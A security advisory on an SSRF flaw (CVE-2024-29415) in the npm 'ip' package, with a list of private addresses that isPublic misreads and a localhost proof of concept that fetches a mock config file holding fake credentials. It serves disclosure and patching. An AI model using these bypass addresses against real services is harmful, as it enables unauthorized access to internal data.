Overview
The ip npm package is a small IP address utility for the Node.js JavaScript runtime.
A Server Side Request Forgery (SSRF) vulnerability (CVE-2024-29415) has been identified in ip, which allows attackers misclassify certain private IP addresses as public, leading to the application making unintended requests to local services, potentially exposing sensitive data.
Per OWASP: In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality on the server to read or update internal resources. The attacker can supply or modify a URL which the code running on the server will read or submit data to, and by carefully selecting the URLs, the attacker may be able to read server configuration such as AWS metadata, connect to internal services like http enabled databases or perform post requests towards internal services which are not intended to be exposed.
This issue affects ip versions lower than or equal to 2.0.1.
Details
Module Info
- Product: IP
- Affected packages: ip
- Affected versions: <=2.0.1
- GitHub repository: https://github.com/indutny/node-ip
- Published packages: https://www.npmjs.com/package/ip
- Package manager: npm
- Fixed in: Web Essentials NES IP v1.1.10
Vulnerability Info
This High-severity vulnerability is found in the ip package in versions less than or equal to 2.0.1.
This vulnerability allows SSRF because some IP addresses (such as 127.1, 01200034567, 012.1.2.3, 000:0:0000::01, and ::fFFf:127.0.0.1) are improperly categorized as globally routable via isPublic. NOTE: this issue exists because of an incomplete fix for CVE-2023-42282.
Steps To Reproduce
1. Create an index.js file in a project with ip installed, and add the following:
const ip = require('ip');
// Check IP and IF IP is not public, avoid HTTP request ==> SSRF vulnerability simulation
const myIp = '127.0.1'; // Private, but the ip package incorrectly marks it as public
console.log(`Incorrect classification of ${myIp}. ip.isPublic('127.0.1') should be false, but is`, ip.isPublic('127.0.1')); // true (incorrect classification)
if (ip.isPublic(myIp)) {
fetch(`http://${myIp}:8080/config`)
.then((response) => response.json())
.then((data) => {
console.log('Fetched Config: (SSRF Vulnerability)', data);
})
.catch((error) => {
console.error('Fetch failed:', error);
});
} else {
console.log('IP is not public');
}
2. Install express and create an app.js file with the following server specifications:
const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();
const port = 8080;
// Simulated sensitive configuration
const configFilePath = path.join(__dirname, 'config.json');
// Serve a sensitive configuration file when accessed
app.get('/config', (req, res) => {
fs.readFile(configFilePath, 'utf8', (err, data) => {
if (err) {
return res.status(500).json({ error: 'Could not read config' });
}
res.json(JSON.parse(data));
});
});
app.get('/', (req, res) => {
res.send('Welcome to the Express Server!');
});
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`);
});
3. Add a config.json file with mocked sensitive information:
{
"database": "secret_db",
"username": "admin",
"password": "supersecretpassword",
"apiKey": "12345-abcdef-67890-ghijk"
}
4. Start the server: node app.js
5. Execute the vulnerability: node index.js
Proof Of Concept
A full reproduction with code similar to the above can be found here:
Credits
- Emelia Smith (finder)
Mitigation
The open source ip project has not released a fix for this CVE as-of the writing of this notice.
Users of the affected components should leverage a commercial support partner like HeroDevs for post-EOL security support.